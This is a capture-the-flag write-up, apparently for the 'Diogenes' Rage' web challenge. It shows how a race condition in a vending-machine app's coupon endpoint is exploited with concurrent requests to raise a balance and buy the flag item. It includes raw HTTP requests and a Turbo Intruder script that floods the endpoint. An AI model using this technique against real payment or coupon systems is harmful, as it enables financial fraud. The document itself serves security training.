Diogenes' Rage is a web challenge featuring a vending machine application that enables users to purchase items using a coupon worth $1.00 that can be applied only once. Upon viewing the code, it becomes clear that the goal of the challenge is to purchase the C8
item to obtain the flag. However, the price of the C8
item is $13.37 and the vending machine only allows a user to purchase an item worth up to $1.00 (with the coupon).
Further analysis of the code shows that it's vulnerable to a race condition. This vulnerability can be exploited to send many concurrent requests to the server to apply the coupon, which adds to the user's balance. This balance can then be used to purchase the C8
item and reveal the flag.
Starting the docker instance and visiting the web page:
When a new user is created, a balance
column will be added within the userData
table:
The code for the /api/purchase
route shows how to find the flag:
The /api/coupons/apply
endpoint can potentially create a race condition because the code is making asynchronous database calls to read, modify, and update user data without any locking mechanisms. This creates an opportunity for multiple concurrent requests to be made which could result in multiple additions to the user's balance using the same coupon code before the database has a chance to register the initial coupon request and invalidate it.
When a request is made to redeem a coupon, it is then sent to the database to update the user's balance using the addBalance
method from the Database
class:
If multiple concurrent requests to /api/coupons/apply
happen at the same time to redeem the HTB_100
coupon, then many of those requests could potentially execute the addBalance
method.
So, I made an initial request in Burp Suite to obtain a session cookie by sending the following request:
POST /api/purchase HTTP/1.1
Host: 144.126.236.158:30114
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://144.126.236.158:30114/
Content-Type: application/json
Origin: http://144.126.236.158:30114
Content-Length: 13
Connection: close
{
"item":"C8"
}
The response returned "Insufficient balance!"
, which was expected, but it also returned a session cookie in the form of a JWT. I took that JWT and used Turbo Intruder to send a request to the /api/coupons/apply
route:
POST /api/coupons/apply HTTP/1.1
Host: 144.126.236.158:30114
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://144.126.236.158:30114/
Content-Type: application/json
Origin: http://144.126.236.158:30114
Content-Length: 25
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InR5bGVyX2I2ODJiNzM3NzQiLCJpYXQiOjE2Nzk4OTM5OTN9.FduhLTUxPvMizyUhFvfOGZ9hl2ZagLqb9lFBep9kycE
Connection: close
{
"coupon_code":"%s"
}
%s
is the placeholder for the payload of HTB_100
that will be sent as concurrent requests.
Next, within the Turbo Intruder configuration, I used the basic.py script:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=100,
pipeline=False
)
for i in range(3, 8):
engine.queue(target.req, randstr(i), learn=1)
engine.queue(target.req, target.baseInput, learn=2)
for word in open('/home/kali/Desktop/HTB_100.txt'):
engine.queue(target.req, word.rstrip())
def handleResponse(req, interesting):
if interesting:
table.add(req)
The above script will make a specified number of concurrent connections and requests per connection to the endpoint of /api/coupons/apply
. Then, it will read from a wordlist and add a request for each word in the list, in this case the wordlist will contain several lines of HTB_100
. I suggest experimenting with the number of concurrent connections, requests per connection, and length of the wordlist containing HTB_100
to achieve the desired result.
I ran the attack in Turbo Intruder and although there were some 401
errors returned in the responses, many of them also got through with a 200
response and successfully added to the user's balance.
Next, I attempted to purchase the C8
item and the flag was returned in the response. This is because the concurrent requests were sent to the server to access a shared resource and compete for it in an uncontrolled manner which created a race condition and allowed the HTB_100
coupon to be applied multiple times, resulting in a continuous addition to the balance well over the required amount of $13.37 to purchase the C8
item.